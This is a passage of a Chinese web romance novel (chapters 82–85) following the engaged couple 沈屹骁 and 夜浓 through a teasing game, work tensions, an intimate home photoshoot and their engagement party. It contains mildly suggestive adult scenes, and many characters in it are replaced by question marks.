沈屹骁双手握住她肩膀,把她往前推了几分:“坐好。” “你干嘛?” 沈屹骁在她后肩一笔一划地写着。 “给你三次机会念出来,不然今晚我让你哭一夜。” 夜浓:“......” 等他写完,夜浓整个人还是懵的。 “是什么?” 见她不说话,沈屹骁又提起指尖,“给你点提示,五个字。” 夜浓气笑一声:“五个字,三次机会,你当我有后眼吗?” “那你就只有哭了。” 夜浓:“......” 后肩膀每落下一笔,夜浓就觉得心脏“咚”的一声,像极了他用力撞她的力度。 五个字就算一笔一划都很慢,也很快就写完了。 “是什么?” 凭感觉,他就是写上一百遍,自己也不可能辨认出来。 所以只能智取。 她刚刚最后一句话说什么来着? 「说话呀」 不是这句,上一句...... 「那你怎么不去香港找我呀,拿着这戒指去找我,我肯定会请你吃一顿早饭的。」 夜浓眼睛一亮,扭头:“五个字?” “嗯。” 夜浓嘴角抿笑:“你刚刚说,我念不出来,你让我哭一夜,那如果我念出来了呢?” 沈屹骁可不觉得她能念出来。 「我没有良心」无论哪个字的笔画都不少,她能认出来才有鬼了呢。 “随你处置。”他一脸的得意。 夜浓嘴角抿笑:“我没有良心。” 沈屹骁脸上的笑顿时一僵:“......” “对了?” 见他不说话,还一脸吃瘪的表情,夜浓咯咯直笑,她整个人转过来,两只手腕勾住他脖子。 “怎么办,今晚我哭不成喽~” “那你呢?”她歪着脑袋,追着沈屹骁偏开的眼神:“你想怎么哭呀,沈总?” 这句话,让沈屹骁眉梢一挑:“那你就以其人之道还治其人之身。” 想得可真美。 夜浓捏住她两只耳朵:“那可真是可惜,我呢,比较喜欢看沈总笑,所以,就罚你......” 她捧住他脸,在他唇上亲了一下:“给你的沈太太吹头发吧。” 她声音甜,眉眼和唇角的笑更甜,却莫名击中了沈屹骁鼻腔里的酸涩。 让他哭很难很难,但对于她夜浓来说,却易如反掌。 看见他眼底的水汽,夜浓微微一愣,“怎么啦,让你给我吹个头发而已......” 沈屹骁伸手抱住她:“你还记得你放在我那的手机吗?” 那个存满他们恋爱过程的手机。 “一共两千三百二十张,”他声音哽咽,却是笑着的:“都被我洗成了照片。” “在哪?”夜浓下意识就要从他怀里挣开,却又被他有力的双臂锁住。 “在保险箱里。” 别人的保险箱都是用来锁贵重的东西,他可好,锁一堆的照片。 他怎么就...... 鼻子里突然一酸,夜浓抬手轻轻锤在他的后腰上:“不让人家哭,你心里难受是不是?” 沈屹骁轻笑一声,“一夜哭不成,一下总能哭吧?” “我要看。” “不给,”沈屹骁亲在她颈子里:“那是我送你的结婚礼物,要等到婚礼晚上才能给你。” 可是现在才三月,婚礼要等到九月。 还有漫长的六个月。 “那你干嘛现在告诉我,存心要急我吗?” 当然是要急一急她。 不然以她这没什么耐心的性子,要怎么对他们的婚礼保持期待呢? 八十二章 三月底, 夜浓的工作开始忙起。 ?无分身乏术,忙了这头,就会疏忽那头。 沈屹骁就是这个「那头」。 周说带?去一家开的餐厅尝尝, 被?一句“忙完这阵再说”而搁置。 一部?期待已久的科幻片映,也因为?一句“没事,等下映从网也能看”而取消。 终于挨到周末可以和?享受一下二?界了,结果?周六在公司加班, 周日在家加班。 弄的他一个市公司的董事?反倒成了闲?。 但是看见?工作劲头那么足, 沈屹骁又实在不忍说一个不字。 掰着手指头算下, 足足忙了半个月。 再这么忙下去,拍婚纱照的时间都要往后推了。 早??送到公司楼下, 沈屹骁问:“今天能准时下班吗?” 夜浓正在低头回短信:“应该能吧。” 四个字里有三个字都是不确定。 沈屹骁无奈:“那?先忙, 下班再说。” 说完, 他刚?脸凑过去想要一个吻,副驾驶的车门开了。 别说goodbyekiss了,就连个再见都没有。 揣着这股郁?,沈屹骁一个午都没么好脸色。 昇了解他的脾?,所以能不出现就尽可能消失。 避免让其他?因为不而火浇油, 一整天, 昇都站在办公室门口, 非重要不可不见的?,不让进, 非时效性的文件, 更是往后推。 沈屹骁是个会自己排解负面情绪的?, 但若是这负面情绪是夜浓带给他的,那就只有?夜浓能解。 五点半,沈屹骁从办公室出。 只一眼, 昇就看出他情还没有由阴转晴。 所以,他只字不说,颔首,只听他交代。 但是沈屹骁是个情不好,一个字都懒得说的?。 六点,沈屹骁准时站在了榕港大厦楼下,仰头看了会,又在车前回走了几圈,最后掏出手机,给最近那位忙的没有一天能准时下班的沈太太打了电话过去。 耳边刚传一?等待音,电话就被挂断了。 又挂他电话,难不成这个点了还在开会? 沈屹骁手指迅速点在屏幕:「要不要我给?算算,这个星期?挂我多少次电话了?」 短信过去十分钟,一个标点符号都没能等。 在楼下不知等哪能让?第一时间看见他的?性,五分钟后,沈屹骁站在了三十层的玻璃门外。 七点十分,眼看有?推门出,沈屹骁走近几步。 “沈总,夜总监还没出,需要我帮?去喊?吗?” 虽说沈屹骁鲜少进这道玻璃门,但他是门口这片区域的常客,一周五个工作日,能看见他的次数,一双手都数不过。 沈屹骁礼貌笑了笑:“不用,我在这等?就好。” 眼看四五个?陆续进了电梯,沈屹骁掏出手机,刚点开屏幕,某?电话就打进了。 “我还要一会儿才能走,?在公司还是在哪?” 沈屹骁差点都听笑了。 冷飕飕的一双眼,盯着玻璃门,“我在家。” 眼神冷,?音也冷,他就不信电话那头的?听不出他的情绪。 然后就听到一?“哦”,然后是一?“行”,紧接着是“我知道了”—— “那我一会儿打车回去。” 沈屹骁直接被?到说不出话。 “喂?” 沈屹骁是真想挂断电话,但是握着手机的右手就是不听话,手不听话,嘴也不听话。 “行,那?先忙吧,挂了。” 说完最后这两个字,他才?手机从耳边拿下。 不听话的何止是手和嘴,还有他的脚。 拿着手机的手就这么垂在耳边,沈屹骁直直盯着那扇双开玻璃门,足足盯了好几分钟,最后他两步走过去,摁响门铃。 接待的姑娘叫陈妙可,见是他,忙开了门,“沈总,夜总监——” 沈屹骁说不用:“让?忙完,我在这等?。” 说完,他往接待区的沙里一坐。 作为接待,怎好让他干坐着,陈妙可去给他倒了杯水:“沈总,您喝水。” 沈屹骁捏着眉的手放了下,一?“谢谢”后,他端起水杯,指腹碰到的滚烫让他皱了皱眉,“麻烦给我一杯冰水。” 陈妙可又赶紧去茶水间的冰箱里拿了瓶冰的矿泉水过。 “沈总,这个可以吗?” 沈屹骁没说话,接到手里,拧开盖,一口气喝了半瓶下去。 再抬头,现?还站他面前。 沈屹骁眉心拧出排斥:“?忙?的,不用管我。” ?忙么呀,本来她都可以下班了。 陈妙可抿了抿唇:“沈总,真不用我帮您去......”?手往后指了指。 沈屹骁还是那句不用:“?忙完会自己出。” 不知是不是自己错觉,陈妙可总觉得这位沈总今天情不是很好,难道是惹女朋友生?,但是又不敢主?去找...... 想到这,陈妙可默默转身,结果刚一越过接待台—— “我说了,别告诉?我在这!” 低沉带着警告的?音从身后传,陈妙可双脚猛然停住,扭头,只见平日里温和有礼的?,正用一双摄?的目光看着?。 脏和瞳孔几乎同时一缩。 想说自己不是去总监办公室,又觉得自己的思怕是早被那双眼看了个干净,陈妙可垂着眉眼转过身。 刚一站到接待台里,让?寒毛直竖的?音再度传—— “这么晚了,?不下班?” 话都说到这份了,陈妙可哪还敢继续待着,抓起自己的包就往门口溜,推门之前还不忘说一句:“沈总再见。” 但是没能敲到总监办公室的门,不影响?短信告知。 只可惜夜浓忙得没能及时去注短信,直到半个时后,?拿着水杯从办公室出。 乳白色的四?位沙里,多了明晃晃的半截深色。 夜浓定睛一看,眼睛瞬间睁大了一圈。 这?不是在家吗,怎么一转眼又跑到?公司了。重点是,了也不进找?,跑沙里等着是么回事。 水也没接,夜浓端着只空水杯走过。 靠着沙,抱着胳膊,后脑勺还仰着沙靠背。 这?该不会是睡着了? ?放轻脚步,走到沙扶手边,弯着腰定睛看了会儿,现他眼睫安安静静地铺着。 还真是睡着了。 夜浓抬起手腕看了眼时间,快八点了。 所以这?是在这等了多久? 回味起电话里简短的几句话,夜浓这才后知后觉到他当时话音里的不对劲。 所以这?该不会压根就没回家,而是一直在这坐着? 脏某一处突然塌陷了一块地方。 夜浓低头?唇轻轻印在他阖着眼睛。 感觉到他眼睫扑簌了一下,夜浓这才?唇移开。 和他困倦明显的一双眼对,夜浓噘了噘唇:“怎么不进去找我呀?” 软呼呼的调子,就这么轻而易举的,将沈屹骁满腹的?性吹散了。 但是这一整天的?不能白生。 沈屹骁眼睛一闭,继续八风不?地坐着,但是他嘴不怂,生怕?看不见、听不出、感觉不到他在生?似的—— “夜总监不是在忙吗?” “工作重要,老公算么。” “就让我在这等着呗。” “五年都等过了,一晚又算得了么。” 每一字每一句,无不彰显着他在生?,而且?得不轻。 夜浓?唇角的笑抿下去,明知故问:“生?啦?” 沈屹骁依旧眼闭着:“没有。” 都?成这样还不承认。 夜浓索性顺着他话:“我就知道,老公怎么可能会因为这种事生?。” 沈屹骁眼皮一掀,嘴角刚一张开—— “而且老公这么疼我爱我,就算想生?也不会真的跟我生?的。” 沈屹骁:“......” “我说的对不对?” 沈屹骁:“......” “对不对嘛?”娇娇软软的音还没落,夜浓就在他额头亲了一下:“说话呀。” 因为头后仰着,他喉结凸起明显,下滑滚间,他不情不愿地“嗯”了?。 一?“嗯”能说明得了么? 夜浓不依不饶:“所以?有没有生我的??” 又喊老公,又撒娇的,简直就像拿?软刀子,抵在他脖子。 所以除了说一?“没有”,他还有第二种选择吗? 顺着?意,说了那两个字后,沈屹骁坐正回去,刚想拍拍旁边的位置让?过,夜浓就主?坐了过去。 看出?的有讨好,沈屹骁思微?。 “次我说的那家餐厅——” “周末吧,周末就去!” 还挺有自知之明。 沈屹骁又说:“还有婚纱照——” 夜浓几乎撵着他的尾音:“也放在周末吧。” 沈屹骁歪头看?:“请柬呢,看得怎么样了?” 夜浓忙点头:“差不多了,回头咱俩再确认一下。” 差不多,估计是还没及看。 沈屹骁懒得拆穿?,又问:“那订婚的地方呢?” 沈屹骁给了?三个地方,一个是酒店,一个是海边度假村,还有一个是谢绝所有媒体的私?订婚宴,在他们的家,春江半月的后花园里。 夜浓知道他偏于第三种,而?,也不想光是一个订婚宴就弄得满城皆知。 “就在我们家办吧。” 沈屹骁??往怀里搂:“次去香港,只是简单拜访了?父亲,下周末,我们再回去一趟。” 夜浓点了点头:“但是我妈那边,我不想?过去。” 沈屹骁轻轻摩挲着?肩膀:“即便?有万般的不是,可到底也是生?养?的母亲,我怎能不去?” 夜浓的母亲,只要?不提,沈屹骁一般不会主?提及。 因为他知道,那是?最不愿被碰触的一块地方。 他更知道,有些伤害,不是?想去修复就能修复得了的,而他想做的,从始至终都是—— “沈屹骁。” “我在。” 八十三章 周六一天约会下来, 夜浓直呼比加班?要累。 听得沈屹骁不止有情绪,?有醋意:“要是给?换个新的男人,?就不是种感觉了。” 夜浓侧身躺着, 两只脚往他腿上一搭,“那是什么样的感觉?” ?挺会顺坡往上爬。 沈屹骁口风一转,“我想想我之前都是什么感觉。” 在夜浓渐眯的眼神里,沈屹骁一边给她捏着脚, 一边回忆着。 “我记得第一次牵手, 好像是她主动, 当时把我吓得手往回一缩,后来我又有点后悔, 就把她往人少又没灯的地方带——” 一声冷笑让沈屹骁余下的话停顿住。 夜浓就么看着他, 语气不温不淡:“继续?, 我听着呢!” 看那表情已经在发火的边缘,沈屹骁嘴角隐笑:“那我?,?可不许生气。” 开了个么精彩的头,?怕她会生气? “我有么小气吗?”夜浓下巴一抬:“?,继续。” 结果却?他摇了摇头, “算了, ?是不?了。” “干嘛不?了呀, 我听得正起劲呢!” 沈屹骁“嗐”了声,“都过去了, ?提?干嘛。” 现在?话了, 早干嘛去了? 夜浓双手撑着沙发垫, 欠起身:“所以呢,把人带到人少又没灯的地方,干嘛了?” 沈屹骁摇头:“没干嘛——” 没干嘛? 鬼信! “抱了吗?”她声音像是温柔的一柄软刀子。 沈屹骁又摇头。 夜浓追着他躲闪的眼神, “亲了吗?” 以为他会继续摇头,结果却?他点头了。 深深一个呼吸后,夜浓尽力让自己心平气和,“深的?是浅的?” ?浅的她也不会信,毕竟他沈屹骁什么人,她也知道。 “深的。” 夜浓顿时把眼睛一闭:“摸了吗?” 等了半天不?他?声,夜浓眼皮一掀,没想到刚好捕捉到他嘴角的笑痕,夜浓一脚踹在他手臂上。 “?不是?五年,?一个女人也没有吗?” 沈屹骁捉住她脚腕往后一拽,掐着她腰,把她抱到了腿上。 “我?的是谁,听不?来?” 一直被他忍着的笑,他也不藏了,就么无遮无拦的,大大方方让她看?。 夜浓气笑一声:“女人,被?沈总亲过摸过的女人,?不够吗,我?需要去知道她的名字?” “夜浓。” “?别喊我!”夜浓眉眼一沉。 “夜浓,夜浓,夜浓!” “都?了别——” ?她突然止住声,沈屹骁眉梢一挑:“知道我?的是谁了?” 夜浓:“......” 难怪他?的画面,她总觉得似曾相识呢。 眉心刚一展开,夜浓又突然觉得不对。 “当时明明是?先牵我手的!” 的确是他主动去牵她的手,但是沈屹骁?:“明明是?的手指碰到我,给了我提示,我敢有下一步动作的。” 夜浓脸一红,“谁给?提示了?” 不仅脸红,声音都虚了。 沈屹骁回到她之前的题:“?以为我五年没碰女人,是?着玩的?” 夜浓低头揪着他衬衫上的纽扣,“我刚刚、就是被?气到了,?要是给我点反应的时?,我不会上?的当。” “所以是生气,不是吃醋?” 夜浓瞥他一眼:“有区别吗?” “??呢?” ?她不?话,沈屹骁叹了口气:“放心,我要是不干净了,我自己都不好意思回头找?。” 真不敢相信,种话竟然能从男人嘴里听到。 夜浓笑了声:“不是?,?们男人骨子里天生会有一种劣根性吗?” “那?明我不是一般的男人。” ?完,沈屹骁弯腰拉开抽屉,从里面拿?一张卡。 “喏。” 夜浓很快懂了他的意思:“现在给我钱了,那白天?干嘛不自己给?” 今天所有的花销都是夜浓刷的卡。 以前约会,沈屹骁从来都不让她花钱,今天沈屹骁彻底反着来,不掏手机不掏卡,一副我花钱,?买单的架势。 重点是,逛了一下午的街,买的全是他的东西。 最后一次买单的时候,夜浓忍不住抱怨了他一句—— 「和?逛半天的街,我一年的工资都要没了。」 看看,就是他爱的女人。 沈屹骁一回想起她当时噘嘴的表情,心就隐隐泛疼。 “都?看一个人爱不爱自己,就看这个人舍不舍得给自己花钱。” 沈屹骁闭眼往后一靠:“原来不爱。” 夜浓:“......” 以为她能?两句好听的哄哄自己,等了小半天不听她?声,沈屹骁不得不叹了口气:“真是白疼了。” 夜浓一巴掌拍他胸口上:“有个差不多就得了。” 沈屹骁仰头看她,不相信似的,“就?” 当然不止‘就’。 夜浓偏了偏脸:“?去给我放点水,我泡个澡。” 沈屹骁:“......” ?他没有动作,夜浓歪头看他,“又不爱了?” 沈屹骁:“......” 得,他算是知道了,自己辈子是别想翻身了。 不过没关系,感情上翻了不身,床上,他是想怎么翻就怎么翻。 刚一洗完澡,他就缠上来了。 人压在她身后,齿咬在她肩膀。 “爱不爱我?” 开始的时候,夜浓以为他是情到深处,谁知他每换一个资z势,都要把四个字再一遍。 夜浓发现他是在‘报复’。 可是怎么办,平时能压他一头。 床丄,她永远处于‘下风’。 “不??” 声音磨人,动作更磨人。 慢条斯理的,在他为她造就的泥泞里,来来回回。 “把我刚刚?的,我一遍。” 他执拗起来,不达目的誓不罢休。 夜浓被他磨得,反应都慢了,好一会儿开口:“爱不爱我...” 声音断续又软黏,听着让人身心都愉悦。 沈屹骁满意又得寸进尺,“换种方式,重新。” 夜浓皱着眉,扁着嘴,一副被他欺负狠了的模样,偏偏眉头拧着两分倔。 “不??” 他轻笑一声后,移身往下。 ② 一个澡洗掉的乏,又被另一个澡淹没、冲卷。 要想不被她事后算账,就要?一些戳她心窝的话。 “宝贝,明天的婚纱照,我们在家里拍。” 全身虚车欠的人,抬头看他:“家里?” 沈屹骁把鼻尖上沁?的细密一层汗,蹭到她鼻尖上。 “?以前不是?,很想要一组只能我们两个人看的照片吗?” 夜浓愣了一下:“可是......” 沈屹骁知道她在担心什么,“放心,我来拍,不会有第个人看?。” 他认真的表情,笃定的语气,都?明了一个题,他会摄影。 是夜浓从来都不知道的。 “?什么时候学的?”夜浓。 沈屹骁低头在她唇上咬了一口,“??呢?” 所以是为了她学的摄影吗? 可是那个时候的他,应该没想过未来?会和她再有交集吧。 夜浓没有,滚烫的身子往他怀里钻。 “老公,?把那四个字再重新我一遍吧。” “不了,”沈屹骁轻笑一声:“想听的,都听到了。” 夜浓拿膝盖搡了他一下,“?就不怕我口是心非啊?” 沈屹骁可太了解她了。 “?啊,可从来都不会口是心非。” 她若不喜欢,没人能逼得了她。 所以「口是心非」四个字,不会在她身上发生。 “那我会什么?”夜浓仰头看他。 “嘴硬,”他带着她的手握住:“有时候比?.石更。” 一到床上就没个正形。 指掌?力?,他眉心也随之蹙起。 沈屹骁低头吻住她,含着她的唇,他又低又哑的声音隙进她唇缝。 “不想睡了?” 睡?是要睡的,但明天是星期天,可以晚起。 夜浓翻身欠他身上:“明天...我们就在里拍吗?” 沈屹骁摇头?不是。 但他却没有细?在哪,夜浓也没有追。 她换了一个题:“那衣服呢?” “衣服......” 手滑过她腰,没入她腿弯。 往上一抬,膝盖抵在了他侧腰。 下一秒,一声舒服的口又.息从她喉?闷?来。 沈屹骁抬起腿,脚后跟抵着松软的床垫。 动作慢条斯理,?的话更是不疾不徐,“一件衬衫就够了。” * 的确是一件衬衫。 衬衫下摆堪堪遮住她臀,白色底裤边缘,若隐若现。 为了配合沈屹骁想要的效果,天公都作?。 略有阴沉的天,光线很柔和。 沈屹骁没怎么给相机调光,他拉远距离,让坐在窗台上的人,?现在他镜头的黄金比例里。 拍摄前,沈屹骁只?了一句:我想看看,我不在的时候,?的样子。 于是,红唇藕臂,猫儿似的一双眼,泛着水光。 就样,定格在了他的镜头里。 但是随后,白衫黑裤的他也入了镜头。 低头,吻在了她湿润的眼尾。 夜浓不在的五年,沈屹骁学了整整两年的摄影,除去工作,摄影占据了他所有的闲暇时?。 他的镜头里有山川河流,有日?日落,有个大自然馈赠的所有风光,却唯独没有人像。 夜浓是第一个入了他镜头的人。 是个世界上,他沈屹骁爱过的,且正在爱的,唯一且仅有的一个女人。 看到了自己不在的五年,他深爱着的女人,泪与伤的一面。 作为‘回赠’,沈屹骁也把当初自己的颓废呈现在她的面前。 夜浓知道他早上为什么没有刮胡子,为什么没有打理头发。 立于沈屹骁左前方的相机,装的是广角镜头,适合拍大全景。 镜头里,沈屹骁穿着一件黑色的圆领卫衣,垂着眉眼,背靠床边。 在他身后,隔着一张床,一个斗柜,隔着近十米远的距离,夜浓赤脚站在门口,从她的方向,能看?被摆在角柜上的组相框,都是他们的合照。 他从她身后抱着她的,她下巴抵在他头顶做鬼脸的,?有一张是他们的亲吻照。 样的画面,是五年前,沈屹骁心里最大的渴望与幻想。 他为什么会失眠。 为最开始的时候,他只要一闭上眼就会梦到她,梦到她站在门口,梦到她站在床边,梦到她的眼泪,梦到她抱住他。 可是一睁眼,梦全成了梦。 于是他不敢闭眼,就像夜浓晚上睡觉不敢关灯。 如今他再怎么睁开眼,她都不会消失。 她,再也不需要留灯,再黑的夜,他都在,她伸手就能摸到他。 之前夜浓?,回到过去和重新开始,她都想要。 所以第组照片,就是回到过去。 依旧是那枚已经求婚成功。戴在夜浓无名指上的钻石戒指。 如果没有当初那个误会,枚戒指,沈屹骁原本是打算在毕业典礼的当天,单膝下跪举在她面前的。 “喜欢吗?” 盛夏天里,阳光从枝叶的缝隙里透下,在绿密的草坪上投?大大小小的斑驳。 沈屹骁手举戒指,单膝跪在她面前。 那时的她,一定会很惊讶,惊讶到想不到摇头或点头,第一反应肯定是—— “可是我们刚毕业。” “不考虑些外在条件,”他坚定且温柔的声音,响在五年后,突然放晴的蓝天白云下,“告诉我,愿不愿意?” 当然愿意,那时的她,做梦都想和他样一个懂她、疼她、爱她的男人走完余生。 在那样一个破碎不堪的家庭里生活了十多年,她庆幸自己?能相信爱情,庆幸自己?能遇到样?好到无可挑剔的他。 所以今天组不算婚纱照的拍摄,前两组是为了给已经过去的那五年画上一个句号,后一组是为了弥补当年的遗憾。 没有结束就没有开始,他们的?好,刚刚开始。 八十四章 订婚宴设在春江半月的后花园里, 不显山不露水的后花园,有一个恒温露天泳池,里面飘满了粉色的朱丽叶玫瑰, 朵朵紧簇,几乎看不见水面。 除此之外,还有一个迷你的高尔夫推杆练习场。 夜浓一袭人鱼姬色长裙,带着梦幻与温柔, 像是一条美人鱼浸身于绿色深海里。 虽说沈家人丁不算旺, 但亲朋好友一点都不少。 老爷子今天连拐杖都没用, 精神矍铄地招呼着所有宾客。 夜浓不想和她母亲有过多的交流,所以这个重任就落到了齐祯的头上。 原因无二, 就因为他生了一张深受长辈喜欢的好嘴。 齐冀今天也带了四个朋友来, 加上他自己, 五个大男人,一人手里举着个手机,对着不远处的两个主角一阵连拍。 齐冀也拍到了好几张堪称海报的照片。 照片里,他哥沈屹骁一身白色西装,秀逸如玉, 如青松挺拔。 他嫂子, 一双蝴蝶骨盘于光洁如玉的美背, 往下,是纤细扶风的一截柳腰, 正被他哥用手搂着, 看着纤薄的手, 其实每一条青筋脉络都书写着他的强势占有欲。 看得齐冀止不住地偷笑。 恰好左手边旁边传来一声感叹—— “齐冀,你嫂子真漂亮!” 齐冀瞥过去一眼,只见屏幕上的两只手指头正将他嫂子的脸放大又缩小再放大, 然后又是一声:“这也太漂亮了!” 齐冀撂过去一个嫌弃的眼神:“除了漂亮,你就找不到第二个词了?” 这句话立马引来公愤:“这世界上,还有比漂亮更漂亮的词吗?” 听得齐冀心里美滋滋的:“那是,你也不看是谁的嫂子。” “哎哟哎哟,夸你嫂子,看把你乐的!” “至于吗,脸都红了,不知道的还还以为今天是你订婚呢!” 此起彼伏的起哄声,齐冀脸红到了耳根:“行了行了,你们小点声。” 有人开始逗他:“齐冀,有这么漂亮的嫂子,你就没点.....其他方面的心思?” 齐冀眉眼瞬间一沉:“放什么狗屁,那是我嫂子!” “哎哟哎哟,还急眼了,难道你没听过...嫂子嫂子——” 齐冀一脚扫对方腿上:“你嘴上再没个把门的,信不信我揍你?” 动了脚,他还不忘警告其他人:“你们几个也都把小心思给我收收,要是让我哥看到你们的口水,” 他哼哼了声:“你们就自求多福吧!” 别人不把他‘齐二爷’的名号放眼里,但却没人敢去得罪‘沈屹骁’三个字。 一阵撇嘴加小声的嘀咕里,夜浓走了过来。 齐冀刚才又是动手又是动脚,这会儿是背着身的,眼看对面几人眼睛都直了,齐冀抬手挥了挥:“跟你说话,你跟我装什么愣——” “齐冀。” 尾音轻扬的两个字,让齐冀猛然扭头,“嫂、嫂子。” “怎么不带你朋友去那边玩啊?” 齐冀往他那几个朋友看了眼,不看不要紧,一看顿时让他气不打一处来。 一个个的,眼珠子都恨不得掉他嫂子脸上了。 齐冀崩着腮帮子,忍着脚,回头,笑憨憨地看向夜浓:“我们在这聊天呢,嫂子,你去忙吧,不用管我们。” 夜浓刚才也是看这边闹哄哄,才过来看一眼。 如今齐冀都这么说了,她也不好说什么。 “那你们玩。”说完,她浅浅一个颔首,刚一转身,沈屹骁走了过来。 沈屹骁可不是被这边的闹哄吸引过来的,而是不经意的一瞥,就这么好巧不巧地看见一排大男人,盯着他家这位看。 毫不夸张地说,那一颗颗的眼珠子,恨不得长他家这位身上。 秉承‘来者是客’,沈屹骁礼貌地向几人回以一笑,但他也只是笑笑,视线落到齐冀脸上的时候,他的笑就有点意味深长了。 “注意你的言行举止,你哥在呢。” 任谁都能听出他话音里的警告,接到齐冀递过来的眼神,他那几个朋友,顿时你推我搡地散开。 “哥......” 齐冀大约猜到他在不高兴什么。 “我那几个朋友没见过世面,你别跟他们一般见识。” “没见过世面?”沈屹骁似笑非笑地看着他。 “章寰地产、绘源生物、中晟科技,你告诉我,他们哪一个不比你见过的世面多?” 齐冀:“......” 夜浓一边晃了晃沈屹骁的胳膊,一边打着圆场:“齐冀,赶紧去招呼你那几个朋友吧,别怠慢了人家。” 被成功解救,齐冀朝沈屹骁投去委屈的一眼:“一天到晚就会凶人家,你看看我嫂子!” “你这臭小子——” 夜浓拽住沈屹骁的胳膊:“行啦,你还没完没了?” 沈屹骁扭头看她。 夜浓把他刚刚警告齐冀的话拿来警告他:“注意你的言行举止,我还在呢!” 沈屹骁气笑一声:“我刚刚那句话的意思,你是听不出来吗?” 听不出来也看出来了。 夜浓压着嘴角的笑:“人家不就多看了你未婚妻两眼吗,至于那么小气吗?” 为了配合裙子的颜色,夜浓涂的唇膏里也带了几分细闪,阳光一照,宛如被剥开的水蜜桃,泛着诱人的水光。 沈屹骁盯着她的唇,“唇膏带了吗?” 他突然岔开话题,让夜浓微微一愣,刚想抬手去碰一碰自己的唇,手腕被沈屹骁捉住。 “带了吗?”他又问了一遍。 夜浓茫然地看着他,摇了摇头:“还在楼上呢。” 沈屹骁搂住她腰:“陪你回去补个妆。” 夜浓以为他是真的陪自己去补妆,结果刚一进别墅内,沈屹骁就把她抵在了门后。 “知道今天有多少双眼睛盯着你看吗?” 这人可真是...... 夜浓偏开脸失笑:“那怎么办,总不能让人家把眼睛闭上吧,不然......” 她抬起胳膊,圈住他脖子:“沈总一声令下,把所有人的眼睛——” 不等她话说完,沈屹骁就低头吻住了她。 不止看着像蜜桃,尝在嘴里竟然真有蜜桃的香甜。 沈屹骁退开一点,轻笑一声:“桃子味?” 夜浓点了点头:“喜欢吗?” 水果里,也就水蜜桃能让沈屹骁多吃几口。 他又凑过去,连啄带吻间,他含糊不清的声音蠕在她唇舌间,“怎么办...” 他的吻,强势起来,让人心滞。 温柔起来,更是勾人心骨。 夜浓沉寂在他唇舌的侵占里,反应都慢了许多,好半天才半问半答着:“...什么?” 相比她的反应慢半拍,沈屹骁几乎是撵着她的尾音说:“想要你。” 从她的蝴蝶骨,到窈窕腰线,再到起伏的臀,每多流连一处,都像是在他的心头多点一把火。 呼吸乱了,吻也开始过火。 夜浓更是好不到哪里去,脸上的红染到了脖子,一片滚烫里,她喘息声比沈屹骁还要乱。 裙子紧贴身材曲线,不好脱,却好剥。 细弱游丝的肩带往外一勾。 攫取一般。 低头含口勿。 葱白的手指没入他乌黑的发间。 不知是被她压抑着的猫儿声叫的,还是被他口中的啧啧水声缠的,让她无名指上的钻石都折出了和平时不一样的璀璨。 一切看似要失控。 夜浓也以为他真的会失控。 然而,所有的旖旎都被他停住的手,松开的唇而定格在了空气里。 沈屹骁低头吻在她肩膀,继而将那根几乎不需要用力就能挣断的带子勾了回去。 他眼里满是难散的欲色,夜浓抿了抿肿胀的唇,“真是小看沈总的自制力了。” 沈屹骁俯身将她拦腰抱起,“晚上,连本带息还我。” 虽说今天的订婚宴没有邀请任何的媒体,但照片还是被泄露了出去。 订婚宴还没结束,就有不少的财经和八卦媒体爆出了婚宴内的照片。 不过沈屹骁没有理,带着夜浓极尽礼数地送走最后一位客人。 当然,也有人赖着不愿走。 齐祯从负一层上来后,一个字的废话都不多说,“你这边的房子还有吗?” 沈屹骁搂着夜浓坐在沙发里:“没了。” 齐祯瞥他一眼,将信将疑,“卖的这么好?” 沈屹骁看不懂他了,“你们皓丰地产的房子还不够你住的?” 齐祯弯腰摆弄着沙发旁一个一人高的琉璃瓶里的花枝:“我那边没有泳池。” 说没有就太假了,说没有他这边的泳池大,倒是还可以信一信。 沈屹骁懒得拆穿他:“你说你一个皓丰的老总,住着我东沈的房子,这要传出去,你们的房子还怎么卖?” “这你不用担心,我那的房子一开盘就抢手得很。” 沈屹骁抬手往身后指:“出门右转,好走不送。” 齐祯一脸嫌弃地看着沙发里的两人,目光偏转,最后定在沈屹骁的脸上:“上个星期三,你在哪?” 在夜浓扭头看过来的视线里,沈屹骁眉眼闪过晦色。 齐祯压根就不理他杀人又放火的眼神,手支下巴,一脸思忖:“难道是我看错了?” 沈屹骁冷笑一声:“不就一套房子吗?” 齐祯这才多瞥他一眼:“隔壁的,有吗?” 和这小子做邻居,还不如杀了他呢! 沈屹骁舌尖顶着腮帮子,笑出一味冷飕飕的音,“有,你敢住吗?” 蛇打七寸,但是讲不好没打准,被反咬一口...... 齐祯见好就收:“随便给我搞一套就行。” 沈屹骁把脸一偏:“滚吧。” 看看,都给他留情面不拆穿他了,还不客气一点。 齐祯站着没动,视线一偏:“弟妹——” “齐总。” 不过眨眼间,沈屹骁就换了张脸:“我送你,可还行?” 齐祯笑得一脸坏:“行啊。” 起身前,沈屹骁在夜浓脸上亲了亲:“上楼休息会儿。” 夜浓已经从两人的对话里听出了苗头,但男人的面子嘛,还是要照顾一下。 她不露声色地笑笑:“那我上去等你。” 八十五章 齐祯可不像他弟弟齐冀, 看见这两人的黏糊劲就走不动路,恨不得蹲地上吃狗粮。 眼看两人耳鬓厮磨,齐祯脸一转脚一迈。 但他没走, 今天不压某人一头,他说什么也不能走。 在门口等了好一会儿,直到第三次低头看时间,身后传来脚步声。 一扭头, 对上揉尽狠劲与野劲的一双眼。 齐祯不怯反笑, “还以为你不敢下来了呢。” 他说的是「不敢」。 沈屹骁冷出一声皮笑肉不笑的音:“我看你真是活腻歪了。” “怎么, ”齐祯抱着胳膊,笑得贱兮兮:“还想打人啊?那你可得下手重点, 最好把我打到住医院那种, 哦对了, ” 他眉梢一提:“就上周三你去的那家医院,听说那边的环境不错。” 沈屹骁一张脸冰冻三尺,就这么看着他。 本来齐祯心里还不太确定这件事是否真的能拿捏到他,但见他眼里火星子直蹿。 他胆子大了。 视线从沈屹骁那张阴沉沉的脸一点一点往下看,最后停在他腹下。 “腿不是挺长的吗?” 沈屹骁烦躁地顶了下腮。 天知道他现在有多想杀人灭口。 但现在是在院子里, 他忍着, 下巴一抬:“送你出去。” 偏偏齐祯站着不动, 明目张胆的,又朝他腹下睇了个眼神, “多久了?” 沈屹骁神色绷着, 唇抿着, 就是不接他话。 齐祯不要命地在他雷区里蹦跶,“你看你,有什么事别憋着, 说出来,讲不好我能给你出出主意呢。” 出主意? 这臭小子怕是能掐着这事笑他一辈子。 沈屹骁深吸一口气,把火气狠狠压了下去:“听不懂你在说什么。” 